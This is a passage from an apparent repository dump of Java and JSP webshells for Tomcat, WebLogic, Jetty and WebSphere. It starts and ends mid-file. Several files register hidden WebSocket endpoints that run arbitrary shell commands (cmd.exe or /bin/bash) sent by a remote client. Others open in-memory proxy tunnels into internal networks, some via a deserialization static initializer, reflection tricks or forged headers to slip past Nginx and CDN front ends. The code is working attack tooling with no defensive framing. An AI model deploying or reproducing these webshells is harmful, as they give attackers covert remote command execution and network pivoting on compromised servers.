if(o.getClass().getName().endsWith("WebAppRuntimeMBeanImpl")){ 72 | field = o.getClass().getDeclaredField("context"); 73 | field.setAccessible(true); 74 | WebAppServletContext servletContext = (WebAppServletContext) field.get(o); 75 | TyrusServerContainer container = (TyrusServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); 76 | try { 77 | container.register(configEndpoint); 78 | out.println("add success,path: " + servletContext.getContextPath()+path); 79 | } catch (Exception e) { 80 | 81 | } 82 | } 83 | } 84 | } 85 | %> 86 | -------------------------------------------------------------------------------- /BypassNginxCDN/cmdbypass2.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.util.*" %> 2 | <%@ page import="java.io.InputStream" %> 3 | <%@ page import="javax.websocket.server.ServerContainer" %> 4 | <%@ page import="javax.websocket.server.ServerEndpointConfig" %> 5 | <%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %> 6 | <%@ page import="org.apache.tomcat.websocket.Constants" %> 7 | <%@ page import="javax.websocket.*" %> 8 | <%@ page import="org.apache.tomcat.websocket.server.WsHandshakeRequest" %> 9 | <%@ page import="org.apache.tomcat.websocket.WsHandshakeResponse" %> 10 | <%@ page import="java.nio.charset.StandardCharsets" %> 11 | <%@ page import="org.apache.tomcat.util.codec.binary.Base64" %> 12 | <%@ page import="org.apache.tomcat.util.security.ConcurrentMessageDigest" %> 13 | <%@ page import="org.apache.tomcat.websocket.server.WsHttpUpgradeHandler" %> 14 | <%@ page import="org.apache.tomcat.websocket.Transformation" %> 15 | <%@ page import="org.apache.catalina.connector.RequestFacade" %> 16 | 17 | <%! 18 | public static class CmdEndpoint extends Endpoint implements MessageHandler.Whole { 19 | private Session session; 20 | @Override 21 | public void onMessage(String s) { 22 | try { 23 | Process process; 24 | boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); 25 | if (bool) { 26 | process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s }); 27 | } else { 28 | process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s }); 29 | } 30 | InputStream inputStream = process.getInputStream(); 31 | StringBuilder stringBuilder = new StringBuilder(); 32 | int i; 33 | while ((i = inputStream.read()) != -1) 34 | stringBuilder.append((char)i); 35 | inputStream.close(); 36 | process.waitFor(); 37 | session.getBasicRemote().sendText(stringBuilder.toString()); 38 | } catch (Exception exception) { 39 | exception.printStackTrace(); 40 | } 41 | } 42 | @Override 43 | public void onOpen(final Session session, EndpointConfig config) { 44 | this.session = session; 45 | session.addMessageHandler(this); 46 | } 47 | } 48 | private static String getWebSocketAccept(String key) { 49 | byte[] WS_ACCEPT = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11".getBytes(StandardCharsets.ISO_8859_1); 50 | byte[] digest = ConcurrentMessageDigest.digestSHA1(key.getBytes(StandardCharsets.ISO_8859_1), WS_ACCEPT); 51 | return Base64.encodeBase64String(digest); 52 | } 53 | %> 54 | 55 | <% 56 | Map pathParams = Collections.emptyMap(); 57 | List negotiatedExtensionsPhase = Collections.emptyList(); 58 | Transformation transformation = null; 59 | String subProtocol = null; 60 | ServletContext servletContext = request.getSession().getServletContext(); 61 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(CmdEndpoint.class, "/x").build(); 62 | WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); 63 | response.setHeader(Constants.UPGRADE_HEADER_NAME, Constants.UPGRADE_HEADER_VALUE); 64 | response.setHeader(Constants.CONNECTION_HEADER_NAME, Constants.CONNECTION_HEADER_VALUE); 65 | response.setHeader(HandshakeResponse.SEC_WEBSOCKET_ACCEPT, getWebSocketAccept(request.getHeader("Sec-WebSocket-Key"))); 66 | response.setStatus(101); 67 | WsHandshakeRequest wsRequest = new WsHandshakeRequest(request, pathParams); 68 | WsHandshakeResponse wsResponse = new WsHandshakeResponse(); 69 | configEndpoint.getConfigurator().modifyHandshake(configEndpoint, wsRequest, wsResponse); 70 | try { 71 | WsHttpUpgradeHandler wsHandler = ((RequestFacade)request).upgrade(WsHttpUpgradeHandler.class); //RequestFacade use for Tomcat 7 72 | wsHandler.preInit(configEndpoint, container, wsRequest, negotiatedExtensionsPhase, subProtocol, transformation, pathParams, request.isSecure()); 73 | // Tomcat 7 //wsHandler.preInit((Endpoint)configEndpoint, configEndpoint, container, wsRequest, negotiatedExtensionsPhase2, subProtocol, transformation, pathParams, request.isSecure()); 74 | }catch (Exception e) { 75 | e.printStackTrace(); 76 | } 77 | %> 78 | -------------------------------------------------------------------------------- /Tomcat_Spring_Jetty/wsproxy.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="javax.websocket.server.ServerEndpointConfig" %> 2 | <%@ page import="javax.websocket.server.ServerContainer" %> 3 | <%@ page import="javax.websocket.*" %> 4 | <%@ page import="java.io.*" %> 5 | <%@ page import="java.nio.channels.AsynchronousSocketChannel" %> 6 | <%@ page import="java.util.HashMap" %> 7 | <%@ page import="java.nio.ByteBuffer" %> 8 | <%@ page import="java.nio.channels.CompletionHandler" %> 9 | <%@ page import="java.net.InetSocketAddress" %> 10 | <%@ page import="java.util.concurrent.TimeUnit" %> 11 | <%@ page import="java.util.concurrent.Future" %> 12 | <%! 13 | public static class ProxyEndpoint extends Endpoint { 14 | long i =0; 15 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 16 | HashMap map = new HashMap(); 17 | static class Attach { 18 | public AsynchronousSocketChannel client; 19 | public Session channel; 20 | } 21 | void readFromServer(Session channel,AsynchronousSocketChannel client){ 22 | final ByteBuffer buffer = ByteBuffer.allocate(50000); 23 | Attach attach = new Attach(); 24 | attach.client = client; 25 | attach.channel = channel; 26 | client.read(buffer, attach, new CompletionHandler() { 27 | @Override 28 | public void completed(Integer result, final Attach scAttachment) { 29 | buffer.clear(); 30 | try { 31 | if(buffer.hasRemaining() && result>=0) 32 | { 33 | byte[] arr = new byte[result]; 34 | ByteBuffer b = buffer.get(arr,0,result); 35 | baos.write(arr,0,result); 36 | ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); 37 | if (scAttachment.channel.isOpen()) { 38 | scAttachment.channel.getBasicRemote().sendBinary(q); 39 | } 40 | baos = new ByteArrayOutputStream(); 41 | readFromServer(scAttachment.channel,scAttachment.client); 42 | }else{ 43 | if(result > 0) 44 | { 45 | byte[] arr = new byte[result]; 46 | ByteBuffer b = buffer.get(arr,0,result); 47 | baos.write(arr,0,result); 48 | readFromServer(scAttachment.channel,scAttachment.client); 49 | } 50 | } 51 | } catch (Exception ignored) {} 52 | } 53 | @Override 54 | public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();} 55 | }); 56 | } 57 | void process(ByteBuffer z,Session channel) 58 | { 59 | try{ 60 | if(i>1) 61 | { 62 | AsynchronousSocketChannel client = map.get(channel.getId()); 63 | client.write(z).get(); 64 | z.flip(); 65 | z.clear(); 66 | } 67 | else if(i==1) 68 | { 69 | String values = new String(z.array()); 70 | String[] array = values.split(" "); 71 | String[] addrarray = array[1].split(":"); 72 | AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); 73 | int po = Integer.parseInt(addrarray[1]); 74 | InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); 75 | Future future = client.connect(hostAddress); 76 | try { 77 | future.get(10, TimeUnit.SECONDS); 78 | } catch(Exception ignored){ 79 | channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); 80 | return; 81 | } 82 | map.put(channel.getId(), client); 83 | readFromServer(channel,client); 84 | channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); 85 | } 86 | }catch(Exception ignored){ 87 | } 88 | } 89 | @Override 90 | public void onOpen(final Session session, EndpointConfig config) { 91 | i=0; 92 | session.setMaxBinaryMessageBufferSize(1024*1024*20); 93 | session.setMaxTextMessageBufferSize(1024*1024*20); 94 | session.addMessageHandler(new MessageHandler.Whole() { 95 | @Override 96 | public void onMessage(ByteBuffer message) { 97 | try { 98 | message.clear(); 99 | i++; 100 | process(message,session); 101 | } catch (Exception ignored) { 102 | } 103 | } 104 | }); 105 | } 106 | } 107 | %> 108 | <% 109 | String path = request.getParameter("path"); 110 | ServletContext servletContext = request.getSession().getServletContext(); 111 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(ProxyEndpoint.class, path).build(); 112 | ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); 113 | try { 114 | if (servletContext.getAttribute(path) == null){ 115 | container.addEndpoint(configEndpoint); 116 | servletContext.setAttribute(path,path); 117 | } 118 | out.println("success, connect url path: " + servletContext.getContextPath() + path); 119 | } catch (Exception e) { 120 | out.println(e.toString()); 121 | } 122 | %> 123 | -------------------------------------------------------------------------------- /Tomcat_Spring_Jetty/wsproxyDeserialization.java: -------------------------------------------------------------------------------- 1 | import org.apache.catalina.core.StandardContext; 2 | import org.apache.catalina.loader.WebappClassLoaderBase; 3 | import org.apache.catalina.webresources.StandardRoot; 4 | import java.io.ByteArrayOutputStream; 5 | import java.lang.reflect.Field; 6 | import java.net.InetSocketAddress; 7 | import java.nio.ByteBuffer; 8 | import java.nio.channels.AsynchronousSocketChannel; 9 | import java.nio.channels.CompletionHandler; 10 | import java.util.HashMap; 11 | import java.util.concurrent.Future; 12 | import java.util.concurrent.TimeUnit; 13 | import javax.websocket.*; 14 | import javax.websocket.server.ServerContainer; 15 | import javax.websocket.server.ServerEndpointConfig; 16 | 17 | public class wsproxy extends Endpoint implements MessageHandler.Whole,CompletionHandler { 18 | 19 | private Session session; 20 | long i = 0; 21 | private AsynchronousSocketChannel client = null; 22 | final ByteBuffer buffer = ByteBuffer.allocate(102400); 23 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 24 | HashMap map = new HashMap(); 25 | 26 | public wsproxy() {} 27 | 28 | static { 29 | String path = "/proxy"; 30 | WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); 31 | StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources(); 32 | if (standardroot == null){ 33 | Field field = null; 34 | try { 35 | field = webappClassLoaderBase.getClass().getDeclaredField("resources"); 36 | field.setAccessible(true); 37 | }catch (Exception e){ 38 | try { 39 | field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); 40 | } catch (NoSuchFieldException ex) { 41 | ex.printStackTrace(); 42 | } 43 | field.setAccessible(true); 44 | } 45 | try { 46 | standardroot = (StandardRoot)field.get(webappClassLoaderBase); 47 | } catch (IllegalAccessException e) { 48 | e.printStackTrace(); 49 | } 50 | } 51 | StandardContext standardContext = (StandardContext) standardroot.getContext(); 52 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(wsproxy.class, path).build(); 53 | ServerContainer container = (ServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); 54 | try { 55 | container.addEndpoint(configEndpoint); 56 | } catch (Exception e) { 57 | e.printStackTrace(); 58 | } 59 | 60 | } 61 | 62 | 63 | 64 | @Override 65 | public void completed(Integer result, Session channel) { 66 | buffer.clear(); 67 | try { 68 | if(buffer.hasRemaining() && result>=0) 69 | { 70 | byte[] arr = new byte[result]; 71 | ByteBuffer b = buffer.get(arr,0,result); 72 | baos.write(arr,0,result); 73 | ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); 74 | if (channel.isOpen()) { 75 | channel.getBasicRemote().sendBinary(q); 76 | } 77 | baos = new ByteArrayOutputStream(); 78 | readFromServer(channel,client); 79 | }else{ 80 | if(result > 0) 81 | { 82 | byte[] arr = new byte[result]; 83 | ByteBuffer b = buffer.get(arr,0,result); 84 | baos.write(arr,0,result); 85 | readFromServer(channel,client); 86 | } 87 | } 88 | } catch (Exception ignored) { 89 | } 90 | } 91 | 92 | @Override 93 | public void failed(Throwable t, Session channel) { 94 | t.printStackTrace(); 95 | } 96 | 97 | @Override 98 | public void onMessage(ByteBuffer message) { 99 | try { 100 | message.clear(); 101 | i++; 102 | process(message,session); 103 | } catch (Exception ignored) { 104 | } 105 | } 106 | 107 | @Override 108 | public void onOpen(Session session, EndpointConfig endpointConfig) { 109 | this.i = 0; 110 | this.session = session; 111 | session.setMaxBinaryMessageBufferSize(1024*1024*1024); 112 | session.setMaxTextMessageBufferSize(1024*1024*1024); 113 | session.addMessageHandler(this); 114 | } 115 | 116 | void readFromServer(Session channel,final AsynchronousSocketChannel client){ 117 | this.client = client; 118 | buffer.clear(); 119 | client.read(buffer, channel, this); 120 | } 121 | void process(ByteBuffer z,Session channel) 122 | { 123 | try{ 124 | if(i>1) 125 | { 126 | AsynchronousSocketChannel client = map.get(channel.getId()); 127 | client.write(z).get(); 128 | readFromServer(channel,client); 129 | } 130 | else if(i==1) 131 | { 132 | String values = new String(z.array()); 133 | String[] array = values.split(" "); 134 | String[] addrarray = array[1].split(":"); 135 | AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); 136 | int po = Integer.parseInt(addrarray[1]); 137 | InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); 138 | Future future = client.connect(hostAddress); 139 | try { 140 | future.get(10, TimeUnit.SECONDS); 141 | } catch(Exception ignored){ 142 | channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); 143 | return; 144 | } 145 | map.put(channel.getId(), client); 146 | readFromServer(channel,client); 147 | channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); 148 | } 149 | }catch(Exception ignored){ 150 | } 151 | } 152 | } 153 | -------------------------------------------------------------------------------- /WebSphere/websphereproxy.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="javax.websocket.server.ServerEndpointConfig" %> 2 | <%@ page import="javax.websocket.*" %> 3 | <%@ page import="java.io.*" %> 4 | <%@ page import="java.nio.channels.AsynchronousSocketChannel" %> 5 | <%@ page import="java.util.HashMap" %> 6 | <%@ page import="java.nio.ByteBuffer" %> 7 | <%@ page import="java.nio.channels.CompletionHandler" %> 8 | <%@ page import="java.net.InetSocketAddress" %> 9 | <%@ page import="java.util.concurrent.TimeUnit" %> 10 | <%@ page import="java.util.concurrent.Future" %> 11 | <%@ page import="com.ibm.websphere.wsoc.WsWsocServerContainer" %> 12 | <%@ page import="java.lang.reflect.Field" %> 13 | <%! 14 | public static class ProxyEndpoint extends Endpoint { 15 | long i =0; 16 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 17 | HashMap map = new HashMap(); 18 | static class Attach { 19 | public AsynchronousSocketChannel client; 20 | public Session channel; 21 | } 22 | void readFromServer(Session channel,AsynchronousSocketChannel client){ 23 | final ByteBuffer buffer = ByteBuffer.allocate(102400); 24 | Attach attach = new Attach(); 25 | attach.client = client; 26 | attach.channel = channel; 27 | client.read(buffer, attach, new CompletionHandler() { 28 | @Override 29 | public void completed(Integer result, final Attach scAttachment) { 30 | buffer.clear(); 31 | try { 32 | if(buffer.hasRemaining() && result>=0) 33 | { 34 | byte[] arr = new byte[result]; 35 | ByteBuffer b = buffer.get(arr,0,result); 36 | baos.write(arr,0,result); 37 | ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); 38 | if (scAttachment.channel.isOpen()) { 39 | scAttachment.channel.getBasicRemote().sendBinary(q); 40 | } 41 | baos = new ByteArrayOutputStream(); 42 | readFromServer(scAttachment.channel,scAttachment.client); 43 | }else{ 44 | if(result > 0) 45 | { 46 | byte[] arr = new byte[result]; 47 | ByteBuffer b = buffer.get(arr,0,result); 48 | baos.write(arr,0,result); 49 | readFromServer(scAttachment.channel,scAttachment.client); 50 | } 51 | } 52 | } catch (Exception ignored) {} 53 | } 54 | @Override 55 | public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();} 56 | }); 57 | } 58 | void process(ByteBuffer z,Session channel) 59 | { 60 | try{ 61 | if(i>1) 62 | { 63 | AsynchronousSocketChannel client = map.get(channel.getId()); 64 | client.write(z).get(); 65 | z.flip(); 66 | z.clear(); 67 | } 68 | else if(i==1) 69 | { 70 | String values = new String(z.array()); 71 | String[] array = values.split(" "); 72 | String[] addrarray = array[1].split(":"); 73 | AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); 74 | int po = Integer.parseInt(addrarray[1]); 75 | InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); 76 | Future future = client.connect(hostAddress); 77 | try { 78 | future.get(10, TimeUnit.SECONDS); 79 | } catch(Exception ignored){ 80 | channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); 81 | return; 82 | } 83 | map.put(channel.getId(), client); 84 | readFromServer(channel,client); 85 | channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); 86 | } 87 | }catch(Exception ignored){ 88 | } 89 | } 90 | @Override 91 | public void onOpen(final Session session, EndpointConfig config) { 92 | i=0; 93 | session.setMaxBinaryMessageBufferSize(1024*1024*20); 94 | session.setMaxTextMessageBufferSize(1024*1024*20); 95 | session.addMessageHandler(new MessageHandler.Whole() { 96 | @Override 97 | public void onMessage(ByteBuffer message) { 98 | try { 99 | message.clear(); 100 | i++; 101 | process(message,session); 102 | } catch (Exception ignored) { 103 | } 104 | } 105 | }); 106 | } 107 | } 108 | %> 109 | <% 110 | String path = request.getParameter("path"); 111 | ServletContext servletContext = request.getSession().getServletContext(); 112 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(ProxyEndpoint.class, path).build(); 113 | WsWsocServerContainer container = (WsWsocServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer"); 114 | Field name = null; 115 | try { 116 | name = container.getClass().getDeclaredField("noMoreAdds"); 117 | name.setAccessible(true); 118 | name.setBoolean(container, false); 119 | try { 120 | if (servletContext.getAttribute(path) == null){ 121 | container.addEndpoint(configEndpoint); 122 | servletContext.setAttribute(path,path); 123 | } 124 | out.println("success, connect url path: " + servletContext.getContextPath() + path); 125 | } catch (Exception e) { 126 | out.println(e.toString()); 127 | } 128 | } catch (Exception e) { 129 | out.println(e.toString()); 130 | } 131 | %> 132 | -------------------------------------------------------------------------------- /BypassNginxCDN/proxybypass.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.util.*" %> 2 | <%@ page import="javax.websocket.server.ServerContainer" %> 3 | <%@ page import="javax.websocket.server.ServerEndpointConfig" %> 4 | <%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %> 5 | <%@ page import="org.apache.tomcat.websocket.server.UpgradeUtil" %> 6 | <%@ page import="org.apache.tomcat.util.http.MimeHeaders" %> 7 | <%@ page import="java.io.ByteArrayOutputStream" %> 8 | <%@ page import="java.nio.channels.AsynchronousSocketChannel" %> 9 | <%@ page import="java.nio.ByteBuffer" %> 10 | <%@ page import="java.nio.channels.CompletionHandler" %> 11 | <%@ page import="java.net.InetSocketAddress" %> 12 | <%@ page import="java.util.concurrent.Future" %> 13 | <%@ page import="java.util.concurrent.TimeUnit" %> 14 | <%@ page import="java.lang.reflect.Field" %> 15 | <%@ page import="javax.websocket.*" %> 16 | 17 | <%! 18 | public static class ProxyEndpoint extends Endpoint { 19 | long i =0; 20 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 21 | HashMap map = new HashMap(); 22 | static class Attach { 23 | public AsynchronousSocketChannel client; 24 | public Session channel; 25 | } 26 | void readFromServer(Session channel,AsynchronousSocketChannel client){ 27 | final ByteBuffer buffer = ByteBuffer.allocate(50000); 28 | Attach attach = new Attach(); 29 | attach.client = client; 30 | attach.channel = channel; 31 | client.read(buffer, attach, new CompletionHandler() { 32 | @Override 33 | public void completed(Integer result, final Attach scAttachment) { 34 | buffer.clear(); 35 | try { 36 | if(buffer.hasRemaining() && result>=0) 37 | { 38 | byte[] arr = new byte[result]; 39 | ByteBuffer b = buffer.get(arr,0,result); 40 | baos.write(arr,0,result); 41 | ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); 42 | if (scAttachment.channel.isOpen()) { 43 | scAttachment.channel.getBasicRemote().sendBinary(q); 44 | } 45 | baos = new ByteArrayOutputStream(); 46 | readFromServer(scAttachment.channel,scAttachment.client); 47 | }else{ 48 | if(result > 0) 49 | { 50 | byte[] arr = new byte[result]; 51 | ByteBuffer b = buffer.get(arr,0,result); 52 | baos.write(arr,0,result); 53 | readFromServer(scAttachment.channel,scAttachment.client); 54 | } 55 | } 56 | } catch (Exception ignored) {} 57 | } 58 | @Override 59 | public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();} 60 | }); 61 | } 62 | void process(ByteBuffer z,Session channel) 63 | { 64 | try{ 65 | if(i>1) 66 | { 67 | AsynchronousSocketChannel client = map.get(channel.getId()); 68 | client.write(z).get(); 69 | z.flip(); 70 | z.clear(); 71 | } 72 | else if(i==1) 73 | { 74 | String values = new String(z.array()); 75 | String[] array = values.split(" "); 76 | String[] addrarray = array[1].split(":"); 77 | AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); 78 | int po = Integer.parseInt(addrarray[1]); 79 | InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); 80 | Future future = client.connect(hostAddress); 81 | try { 82 | future.get(10, TimeUnit.SECONDS); 83 | } catch(Exception ignored){ 84 | channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); 85 | return; 86 | } 87 | map.put(channel.getId(), client); 88 | readFromServer(channel,client); 89 | channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); 90 | } 91 | }catch(Exception ignored){ 92 | } 93 | } 94 | @Override 95 | public void onOpen(final Session session, EndpointConfig config) { 96 | i=0; 97 | session.setMaxBinaryMessageBufferSize(1024*1024*20); 98 | session.setMaxTextMessageBufferSize(1024*1024*20); 99 | session.addMessageHandler(new MessageHandler.Whole() { 100 | @Override 101 | public void onMessage(ByteBuffer message) { 102 | try { 103 | message.clear(); 104 | i++; 105 | process(message,session); 106 | } catch (Exception ignored) { 107 | } 108 | } 109 | }); 110 | } 111 | } 112 | private void SetHeader(HttpServletRequest request, String key, String value){ 113 | Class requestClass = request.getClass(); 114 | try { 115 | Field requestField = requestClass.getDeclaredField("request"); 116 | requestField.setAccessible(true); 117 | Object requestObj = requestField.get(request); 118 | Field coyoteRequestField = requestObj.getClass().getDeclaredField("coyoteRequest"); 119 | coyoteRequestField.setAccessible(true); 120 | Object coyoteRequestObj = coyoteRequestField.get(requestObj); 121 | Field headersField = coyoteRequestObj.getClass().getDeclaredField("headers"); 122 | headersField.setAccessible(true); 123 | MimeHeaders headersObj = (MimeHeaders)headersField.get(coyoteRequestObj); 124 | headersObj.removeHeader(key); 125 | headersObj.addValue(key).setString(value); 126 | } catch (Exception e) { 127 | e.printStackTrace(); 128 | } 129 | } 130 | %> 131 | 132 | <% 133 | ServletContext servletContext = request.getSession().getServletContext(); 134 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(ProxyEndpoint.class, "/x").build(); 135 | WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); 136 | Map pathParams = Collections.emptyMap(); 137 | SetHeader(request, "Sec-WebSocket-Key" , request.getHeader("Sec-WebSocket-Key")); 138 | SetHeader(request,"Connection","Upgrade"); 139 | SetHeader(request,"Sec-WebSocket-Version","13"); 140 | SetHeader(request,"Upgrade","websocket"); 141 | UpgradeUtil.doUpgrade(container, request, response, configEndpoint, pathParams); 142 | %> 143 | -------------------------------------------------------------------------------- /BypassNginxCDN/proxybypass2.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.util.*" %> 2 | <%@ page import="javax.websocket.server.ServerContainer" %> 3 | <%@ page import="javax.websocket.server.ServerEndpointConfig" %> 4 | <%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %> 5 | <%@ page import="org.apache.tomcat.websocket.Constants" %> 6 | <%@ page import="javax.websocket.*" %> 7 | <%@ page import="org.apache.tomcat.websocket.server.WsHandshakeRequest" %> 8 | <%@ page import="org.apache.tomcat.websocket.WsHandshakeResponse" %> 9 | <%@ page import="java.nio.charset.StandardCharsets" %> 10 | <%@ page import="org.apache.tomcat.util.codec.binary.Base64" %> 11 | <%@ page import="org.apache.tomcat.util.security.ConcurrentMessageDigest" %> 12 | <%@ page import="org.apache.tomcat.websocket.Transformation" %> 13 | <%@ page import="org.apache.catalina.connector.RequestFacade" %> 14 | <%@ page import="org.apache.tomcat.websocket.server.WsHttpUpgradeHandler" %> 15 | <%@ page import="java.nio.ByteBuffer" %> 16 | <%@ page import="java.nio.channels.AsynchronousSocketChannel" %> 17 | <%@ page import="java.net.InetSocketAddress" %> 18 | <%@ page import="java.util.concurrent.Future" %> 19 | <%@ page import="java.util.concurrent.TimeUnit" %> 20 | <%@ page import="java.io.ByteArrayOutputStream" %> 21 | <%@ page import="java.nio.channels.CompletionHandler" %> 22 | 23 | <%! 24 | public static class ProxyEndpoint extends Endpoint { 25 | long i =0; 26 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 27 | HashMap map = new HashMap(); 28 | static class Attach { 29 | public AsynchronousSocketChannel client; 30 | public Session channel; 31 | } 32 | void readFromServer(Session channel,AsynchronousSocketChannel client){ 33 | final ByteBuffer buffer = ByteBuffer.allocate(50000); 34 | Attach attach = new Attach(); 35 | attach.client = client; 36 | attach.channel = channel; 37 | client.read(buffer, attach, new CompletionHandler() { 38 | @Override 39 | public void completed(Integer result, final Attach scAttachment) { 40 | buffer.clear(); 41 | try { 42 | if(buffer.hasRemaining() && result>=0) 43 | { 44 | byte[] arr = new byte[result]; 45 | ByteBuffer b = buffer.get(arr,0,result); 46 | baos.write(arr,0,result); 47 | ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); 48 | if (scAttachment.channel.isOpen()) { 49 | scAttachment.channel.getBasicRemote().sendBinary(q); 50 | } 51 | baos = new ByteArrayOutputStream(); 52 | readFromServer(scAttachment.channel,scAttachment.client); 53 | }else{ 54 | if(result > 0) 55 | { 56 | byte[] arr = new byte[result]; 57 | ByteBuffer b = buffer.get(arr,0,result); 58 | baos.write(arr,0,result); 59 | readFromServer(scAttachment.channel,scAttachment.client); 60 | } 61 | } 62 | } catch (Exception ignored) {} 63 | } 64 | @Override 65 | public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();} 66 | }); 67 | } 68 | void process(ByteBuffer z,Session channel) 69 | { 70 | try{ 71 | if(i>1) 72 | { 73 | AsynchronousSocketChannel client = map.get(channel.getId()); 74 | client.write(z).get(); 75 | z.flip(); 76 | z.clear(); 77 | } 78 | else if(i==1) 79 | { 80 | String values = new String(z.array()); 81 | String[] array = values.split(" "); 82 | String[] addrarray = array[1].split(":"); 83 | AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); 84 | int po = Integer.parseInt(addrarray[1]); 85 | InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); 86 | Future future = client.connect(hostAddress); 87 | try { 88 | future.get(10, TimeUnit.SECONDS); 89 | } catch(Exception ignored){ 90 | channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); 91 | return; 92 | } 93 | map.put(channel.getId(), client); 94 | readFromServer(channel,client); 95 | channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); 96 | } 97 | }catch(Exception ignored){ 98 | } 99 | } 100 | @Override 101 | public void onOpen(final Session session, EndpointConfig config) { 102 | i=0; 103 | session.setMaxBinaryMessageBufferSize(1024*1024*20); 104 | session.setMaxTextMessageBufferSize(1024*1024*20); 105 | session.addMessageHandler(new MessageHandler.Whole() { 106 | @Override 107 | public void onMessage(ByteBuffer message) { 108 | try { 109 | message.clear(); 110 | i++; 111 | process(message,session); 112 | } catch (Exception ignored) { 113 | } 114 | } 115 | }); 116 | } 117 | } 118 | private static RequestFacade getRequestFacade(HttpServletRequest request) { 119 | if (request instanceof RequestFacade) { 120 | return (RequestFacade) request; 121 | } 122 | else if (request instanceof HttpServletRequestWrapper) { 123 | HttpServletRequestWrapper wrapper = (HttpServletRequestWrapper) request; 124 | HttpServletRequest wrappedRequest = (HttpServletRequest) wrapper.getRequest(); 125 | return getRequestFacade(wrappedRequest); 126 | } 127 | else { 128 | throw new IllegalArgumentException("Cannot convert [" + request.getClass() + "] to org.apache.catalina.connector.RequestFacade"); 129 | } 130 | } 131 | private static String getWebSocketAccept(String key) { 132 | byte[] WS_ACCEPT = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11".getBytes(StandardCharsets.ISO_8859_1); 133 | byte[] digest = ConcurrentMessageDigest.digestSHA1(key.getBytes(StandardCharsets.ISO_8859_1), WS_ACCEPT); 134 | return Base64.encodeBase64String(digest); 135 | } 136 | %> 137 | 138 | <% 139 | ServletContext servletContext = request.getSession().getServletContext(); 140 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(ProxyEndpoint.class, "/x").build(); 141 | WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); 142 | Map pathParams = Collections.emptyMap(); 143 | response.setHeader(Constants.UPGRADE_HEADER_NAME, Constants.UPGRADE_HEADER_VALUE); 144 | response.setHeader(Constants.CONNECTION_HEADER_NAME, Constants.CONNECTION_HEADER_VALUE); 145 | response.setHeader(HandshakeResponse.SEC_WEBSOCKET_ACCEPT, getWebSocketAccept(request.getHeader("Sec-WebSocket-Key"))); 146 | response.setStatus(101); 147 | WsHandshakeRequest wsRequest = new WsHandshakeRequest(request, pathParams); 148 | WsHandshakeResponse wsResponse = new WsHandshakeResponse(); 149 | configEndpoint.getConfigurator().modifyHandshake(configEndpoint, wsRequest, wsResponse); 150 | try { 151 | List negotiatedExtensionsPhase2 = Collections.emptyList(); 152 | Transformation transformation = null; 153 | String subProtocol = null; 154 | RequestFacade requestFacade = getRequestFacade(request); 155 | WsHttpUpgradeHandler wsHandler = 